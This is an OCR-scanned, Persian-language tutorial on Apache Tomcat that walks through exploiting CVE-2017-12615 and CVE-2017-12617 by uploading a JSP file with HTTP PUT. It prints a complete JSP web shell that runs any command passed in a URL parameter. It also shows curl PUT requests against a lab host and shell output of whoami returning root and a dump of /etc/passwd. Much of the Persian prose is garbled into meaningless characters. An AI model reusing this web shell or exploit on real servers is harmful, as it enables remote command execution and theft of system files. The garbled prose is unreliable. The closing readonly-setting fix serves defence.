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Apache Tomcat ,l33le 5 1
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! Apache Software Foundation (ASF)

2 Java platform, Enterprise Edition (Java EE)
% Java Servlet

4 JavaServer Pages

® Java Expression Language
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o Request
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JSP JSP
page translator
(_ JSP) (Tomcat)
Servlet
Source
Code (Java)
Translation phase
ISP Container

Java compiler
(embedded server)

~

B’: :
‘zﬂ ééé;‘?

Text buffer
(in memory)

Execution
¢ phase
Server
class JRE
(.Class)

(a) Translation occurs at this point, if JSP has been changed or is new.
(b) If not, translation is skipped.

ISP s 55, ] Y
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{

{

}

class HelloJdavaProgram

public static void main

(String[] args)

System.out.println (“Hello wWorld!”),;

7 Java Virtual Machine (JVM)

8 Machine code
° Bytecode

)
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2004-08-30 5.0.30 EL 1.1 9 JSP 2.0 Servlet 2.4 s;luesls  2003-12-03 5.0
2012-10-10 5536  loly Jolf sdewss 5l s 09 Tomecat sl =l 0lKsl  2004-11-10 [ 5
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Tomcat sl ;s dcuwl 2
95 Wl ol 5l cwlbas glols Tomeat 7.X @l ilisee slags piaww! w0es 62010 Juo 5l
Szl Gy aitea 6300 2017 Jlo L5116 ST Slos 505k 43 bgspo pten 8 s
sl 635 SLI5 s miumm] sa ST 55 35 595 oly 5l Lzl g s T 55 TRCE) 55 95 o,
2313 5 patlys L ubgs 4 dslsl s leas S32 Jgax o oS

Tomeat ./ slacs oo 2 Jsir

2017 cwsST  Tomcat 9.0.0.M1-9.0.0 55 ss3 ol 5l sl,>! @V Ziiriblisls

! Remote Code Execution (RCE)



)

9
g Al 5559
wlellbl g gl gl zyljy ‘ i
whelelelbl g ygliéylojlw

2017 s Tomcat 7.0.0-7.079 55 495 ol 5l 21 ROV kAP,
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Go3ls )3 Hpama ol Godbciuog Cardy by 03,8 sbul ) nax mie PUT culys ) aze
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7 payload
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PUT /new.html HTTP/1.1
Host: example.com
Content-type: text/html
Content-length: 16

<p>New File</p>

doles olbml ) e Glole S wcudbge b PUT clgs s 9 bl (598 floled 336 s aie S
Lo Ol gewly cpl o5l @lhe 201 Created Fwl Jlo)l b1y )6 Gosiles (Lol s m cunl o5

HTTP/1.1 201 Created
Content-Location: /new.html

éé,.n J.:.oﬁ 204 No Content L.’. 9 200 OK Ewl.: dL.u)l la ‘LsL"l 29 ol f)y (S gad oals eVl
4 204wl siiwa e Oldee O3y MTQ.,EA,» IS Bgd gl 95 0 a5 0L 1) cwlgs)s

HTTP/1.1 204 No Content
Content-Location: /existing.html

AS 99 ol 5l sl,=l sogm 3.1.2
e Olgieds) cavloas Jlad OT 9, HTTP I PUT cuols a5 00 K Jbiys 1) ol s s jeais
ol> JSP Ll G as” 5 0y s9>g Ol ol (false 4 readonly ,iel,l 5,8 i Jlade [‘,AL.J L
bsgs 0T 53 33290 35 o 5 005 Caslys y> 45530 ISP Ll s 355 SIS, ol (Gilss o
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S pdcuwl ol Lzl 6l cwloas osls Olis 5 Jle 5 CVE-2017-12615 sl >l 5l slasges
9 UL LB B o 1 s b sl .ol Sl 859 e Poster ' sasgsl 5 ISP b K o,

943 0 w33 SHacking with JSP Shells.jsp” e ,8

<%@ page
import="java.util.*, java.io.*"&>
<%
3>
<HTML>
<BODY>
<H3>JSP SHELL</H3>
<FORM METHOD="GET'" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd'>
<INPUT TYPE="submit" VALUE="Execute'>
</FORM>
<PRE>
<g
if (request.getParameter ("cmd"”) != )
{
out.println("Command: " +
request.getParameter ("cmd"”) + "<BR>"),
Process p =
Runtime.getRuntime () .exec (request.getParameter ("cmd") ) ;
OutputStream os = p.getOutputStream();
InputStream in = p.getlnputStream();
DatalInputStream dis = new DatalnputStream(in);
String disr = dis.readLine(),;
while ( disr != )
{
out.println(disr),
disr = dis.readLine(),
/
/
&>
</PRE>
</BODY>
</HTML>

03,5 ax>l . “https://addons.mozilla.org/en-US/firefox/addon/poster/” ool 4 Lol sl o

3,5 Jles g 5lils |, Poster (sasg 58l g

18 Addon
11
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Tomcat uu)JT » PUT Dgiamd le).‘>| l.’ wall 2 P A Aled ol [a)y P 3] L54.1.>)A 29

“ddosjsp” pb b bl (" gmggl wle) (e siies Jale ptus lise 5 53 (192.168.1.4:8080)

) 2 ras dilea Olgs o0 Ol Sl G oy L8 ol Slgizs Olgicdas |, “ddos was here!” g 3905 sl

25,8 ssaline [ 0T Slgizms 9 oaiabul b GET Heiws sl >l b

~Scurl -X PUT “http://192.168.1.4:8080/ddos. jsp” —-d "“ddos was here!”
~Scurl -X GET “http://192.168.1.4:8080/ddos. jsp”

ddos@ddos ~

File Edit View Search Terminal Help
ddos@ddos curl -X PUT "http://192.168.1.4:8080/ddos.jsp/" -d

“ddos was here!”

()
\ ddos@ddos ~
File Edit View Search Terminal Help
ddos@ddos curl -X PUT "http://192.168.1.4:8080/ddos.jsp/" -d "ddos was here!"”
ddos@ddos curl -X GET "http://192.168.1.4:8080/ddos. jsp"

ddos was here!ddos@ddos

()
GET 5 PUT (slo s (sl21 2 S5
Swles ol |, Poster (g4 55 T0o0lS sgie 5l 9 Jug ,5 59 0 Jume 3)ly wdll 3 5005 b puuanw
oo i ssalive © 3 g 3 &5 ax0l Glise cul B . abaalss 03425 PoSter (go o

chrome://poster - Poster - Mazilla Firefox

Request
URL: | hitp://192.168.1.4:8080/ddos.jsp/ |

User Auth:

®
n ' - = T Timeout (s): 30
Actions
Add-ons Ctri+Shift+A cer | post e |DmEE - @ ‘b
3 N Contentto Send Headers Parameters
| ync s File: Brouge
! Web Developer > St

[ Content Options:  Base64 Encode  Body from Parameters.
Page Info Ctri+l
Ry e Alt+ P

| Tamper Data
o Selenium IDE  Ctrl+Alt+S

() (<)

B ut URL 5 oyl o5 (o shama slo2] (Cill POStEr bamo 3 JS

12
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:35,5 o8 URL cwwd > (http://192.168.1.4:8080/ddos.jsp/)

“Hacking with JSP (Ll s 03505 asin 9 BrOWSe (sdeS’s 03,8 L (G0 >l 0 r:l.-gdl Sl o

25 .35 ,5 s Poster buss 5)ly 39 0 0salie 4 ji9um5 ,5 a5 a0l alin  LL b gi=e Shells.jsp”

chrome://poster - Poster - Mozilla Firefox

Request
URL: hitp:1/192.168.1.4:8080/ddos.jsp!
User Auth: )
Timeout (s): 30

Actions

GET POST PUT DELETE L =
Content to Send  Headers Parameters.

¥
Content Type:
Content Options: | Base64 Encode _Body from Parameters

Choose File to Upload

chrome://poster - Poster - Mozila Firefox

s Modifed Request
e URL: ipi192.168.1.4 8080cdos sl
o~
2se User Auth
g 0
on
s 95 Timeout (s} %

@ GfT @DELETE ¢ j

Contentto Send Headers Parameters

Fie: | Thomelddos/DesktopHacking with JSP Shels jsp
Content Type:  appicationbinary

: 4
Content Options. ~ Base64 Encode  Body rom Parameters Q
0=

g 0 03 b PUT 0l (o (sal> 0
as MJ&|9:> ul.ll.o.: Status: 204 o9 l.: leo).?d% <l 5 Pep -1 &.L PUT Lsd_of.) QJ)..i..é La

URL 5 “123” 4 “ddos” r:ls s bl Ogenian 336 Ll cuoldss p 3y O hg0 Ol uss sas 0 Ol

Response
PUT on hitp.//192.168.1.4:8080/dd0s. [sp/
Statss: 204

PUT on hitp://192.168.1.4:8080123 jsp/
Status: 201

— 13 e

Content-Length o
Date Wed. 20 Sep 2017 19:12:44 GMT Date Wed, 20 Sep 2017 19:12:56 GMT
o —
() (o)

201 coedsy (o : 204 ey (Cill PUT slozl sdmss -5 IS

>
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3
="

.).J:.Mbl,} odalive - 5 RS L“yUaA Status: 201 cuxsy b leo):.d.g. PUT >50 L5|).?| 9

6 jpas plhe Slamio 59,0 5 “https//192.168.1.4:8080/123 jsp” wy3] 03g0s 3)ls b

Mozilla Firefox
1% 192.168.1.4:8080/ x | +
€ ©192.168.1.4:3080/123 jsp

JSP SHELL

Execute
Sog 0 03 ISP sdiws s>l 6 s
JuI:.LQlP o.),.&f
29las 3505 A5 90 ol Sl sl 4 o jole calise Dl gty 035 S)lg b Olgs oo il el o
e e 0lis 1y et @zl ciliss ¥ T S5 5 39740
CVE-2017-12615 (s 53 3yl 25, 4.1.2

bbb a5 a5 LU owsayepl Sl ogs adgl as,laie true 4 readonly sll 6 8 i lade

14 192.168.1.4:8080/ x | +

€ ©/192.168.1.4:8080/123 jsp?cmd=whoami
14 192.168.1.4:8080/ x  +
JSP SHELL € ©)192.168.1.4:8080/123 jsp?cmd=cat+%2Fetc%2Fpasswd
: Execute JSP SHELL
Command: whoami 1 Execute
root Command: cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

AT Ty T T sync:x:4:65534:sync: /bin: /bin/sync
| . :5:60:games: /usr/games: /usr/sbin/nologin
‘ ®!192-153-M3°30“23'ISPW‘PW¢ :x:6:12:man: /var/cache/man: /usr/sbin/nologin
7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
]SP SHELL news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
Execute backup:x:34:34:backup: /var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
Command: pwd nobody: x:65534:65534: nobody: /nonexistent: /usr/sbin/nologin
apt:x:100:65534: : /nonexistent:/bin/false
messagebus:x:101:101: : /var/run/dbus:/bin/false

Jusr/local/tomcat

RCE (sl,21:7 Jsi
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<init-param>
<param-name>readonly</param-name>
<param-value>true</varam-value>
</init-param>

CVE-2017-12617 (5 syl 2.2
5l ke 63959 B Jlsel pae 51 56 g esg CVE-2017-12615 dylive (sasuns S ppdy] o
S pdscnw] ol CVE-2017-12615 (sasus sislon 33,5 o0 wiamsms 3,1y )8 Lawwgs a8 cansl 138l 53
aslodys F Jlab T L3 HTTP a4 byyye PUT lasie a5 spdige cil ot )5 5
23 338 g, 1y 355 olsls ISP Ll b sas s o5l p2les 4 CVE-2017-12617 (5 ]
290 Mo Sl (Bl 4 as Ole) e opl b aiST (6,135,L (el Apache Tomceat ;1 ke a5 d = JI>
4 HTTP PUT culss s G elen canl (G 0,50 ISP (5 1380 sl sgaiaalys 121 1, oT

358 Loyl (5 8) pigmsT g

4 readonly xel,b (5,5 i slaie CVE-2017-12615 silbea cunl S 5 JKiw cpl @3, sl 0
5 0315 polais! 595 4y |, (IMportant) (s pdycaml b 02 5L 9 de (5 plucanl 358 wabais true
51,7081 70.0 48046 i 8.0.0.RCL 8522 1 85.0 9.00 G 9.0.0.M1 sladss sl
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